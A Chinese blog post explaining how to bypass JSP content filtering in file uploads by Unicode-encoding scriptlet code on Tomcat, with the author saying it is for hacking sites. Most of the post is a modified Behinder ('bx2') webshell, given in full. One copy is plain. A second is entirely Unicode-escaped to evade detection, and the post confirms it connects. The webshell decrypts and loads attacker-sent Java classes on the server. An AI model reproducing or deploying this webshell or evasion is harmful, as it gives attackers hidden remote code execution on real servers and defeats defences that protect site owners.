• 文件上传bypass jsp内容检测的一些方法


      bx2=冰蝎2

      前段时间渗透遇到了个检测jsp内容的,然后发现全unicode编码就可以绕过,但是对bx2马进行全编码他出现了一些错误,我尝试简单改了下,日站还是bx2操作舒服点

      检测内容的话,这样直接拦截

      

      开始本地测试:  

    测试的时候发现tomcat容器下:
     
    测试的时候发现tomcat容器下:
    <%内容全编码%> 自动解析可以正常执行
    <%!内容全编码%>自动解析可以正常执行
    <%=内容全编码%>自动解析可以正常执行
    <%@ page import=""%> 当我对这个内容全编码的时候不支持解析,直接报错

     

    演示一个:<% out.print(123);%>和<% uncicode编码%>结果都是一样
     

    对bx2 马的改造:
    已知bx2马里面最上面这段代码:
    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>

    即使我们unciode编码也是不行的,那么需要把导入包改成直接引用:
    写个小demo吧,就拿bx2里面的一部分来说:

    如果你要调用UUID.randomUUID,一定要导入java.util包。
    那么我们应该改成直接引用:
    如果我们改成这样

    就少掉了导入的那一部分,在开发中如果自动import导入,会更方便开发。
    这样写的话我们就完全不需要<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
    那么改动完的代码如下:
    <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+java.util.UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(2,new javax.crypto.spec.SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
    那么我们之前实验知道<%!内容%>和<%内容%>,对内unicode编码都是可以被解析的
    那么现在我们改动下:
      
    <%!u0063u006cu0061u0073u0073u0020u0055u0020u0065u0078u0074u0065u006eu0064u0073u0020u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072u007bu0055u0028u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072u0020u0063u0029u007bu0073u0075u0070u0065u0072u0028u0063u0029u003bu007du0070u0075u0062u006cu0069u0063u0020u0043u006cu0061u0073u0073u0020u0067u0028u0062u0079u0074u0065u0020u005bu005du0062u0029u007bu0072u0065u0074u0075u0072u006eu0020u0073u0075u0070u0065u0072u002eu0064u0065u0066u0069u006eu0065u0043u006cu0061u0073u0073u0028u0062u002cu0030u002cu0062u002eu006cu0065u006eu0067u0074u0068u0029u003bu007du007d%><%u0069u0066u0028u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072u0028u0022u0070u0061u0073u0073u0022u0029u0021u003du006eu0075u006cu006cu0029u007bu0053u0074u0072u0069u006eu0067u0020u006bu003du0028u0022u0022u002bu006au0061u0076u0061u002eu0075u0074u0069u006cu002eu0055u0055u0049u0044u002eu0072u0061u006eu0064u006fu006du0055u0055u0049u0044u0028u0029u0029u002eu0072u0065u0070u006cu0061u0063u0065u0028u0022u002du0022u002cu0022u0022u0029u002eu0073u0075u0062u0073u0074u0072u0069u006eu0067u0028u0031u0036u0029u003bu0073u0065u0073u0073u0069u006fu006eu002eu0070u0075u0074u0056u0061u006cu0075u0065u0028u0022u0075u0022u002cu006bu0029u003bu006fu0075u0074u002eu0070u0072u0069u006eu0074u0028u006bu0029u003bu0072u0065u0074u0075u0072u006eu003bu007du006au0061u0076u0061u0078u002eu0063u0072u0079u0070u0074u006fu002eu0043u0069u0070u0068u0065u0072u0020u0063u003du006au0061u0076u0061u0078u002eu0063u0072u0079u0070u0074u006fu002eu0043u0069u0070u0068u0065u0072u002eu0067u0065u0074u0049u006eu0073u0074u0061u006eu0063u0065u0028u0022u0041u0045u0053u0022u0029u003bu0063u002eu0069u006eu0069u0074u0028u0032u002cu006eu0065u0077u0020u006au0061u0076u0061u0078u002eu0063u0072u0079u0070u0074u006fu002eu0073u0070u0065u0063u002eu0053u0065u0063u0072u0065u0074u004bu0065u0079u0053u0070u0065u0063u0028u0028u0073u0065u0073u0073u0069u006fu006eu002eu0067u0065u0074u0056u0061u006cu0075u0065u0028u0022u0075u0022u0029u002bu0022u0022u0029u002eu0067u0065u0074u0042u0079u0074u0065u0073u0028u0029u002cu0022u0041u0045u0053u0022u0029u0029u003bu006eu0065u0077u0020u0055u0028u0074u0068u0069u0073u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072u0028u0029u0029u002eu0067u0028u0063u002eu0064u006fu0046u0069u006eu0061u006cu0028u006eu0065u0077u0020u0073u0075u006eu002eu006du0069u0073u0063u002eu0042u0041u0053u0045u0036u0034u0044u0065u0063u006fu0064u0065u0072u0028u0029u002eu0064u0065u0063u006fu0064u0065u0042u0075u0066u0066u0065u0072u0028u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0052u0065u0061u0064u0065u0072u0028u0029u002eu0072u0065u0061u0064u004cu0069u006eu0065u0028u0029u0029u0029u0029u002eu006eu0065u0077u0049u006eu0073u0074u0061u006eu0063u0065u0028u0029u002eu0065u0071u0075u0061u006cu0073u0028u0070u0061u0067u0065u0043u006fu006eu0074u0065u0078u0074u0029u003b%>

    我们再次连接:

    没有异常问题,可连接。 

  • 相关阅读:
    Flask正则路由,异常捕获和请求钩子
    Flask的路由,视图和相关配置
    Flask搭建虚拟环境
    Flask框架简介
    Django的类视图和中间件
    Django中的cookies和session
    Django请求与响应
    第6章 服务模式 Service Interface(服务接口)
    第6章 服务模式
    第5章分布式系统模式 Singleton
  • 原文地址:https://www.cnblogs.com/piaomiaohongchen/p/13963476.html
Copyright © 2020-2023  润新知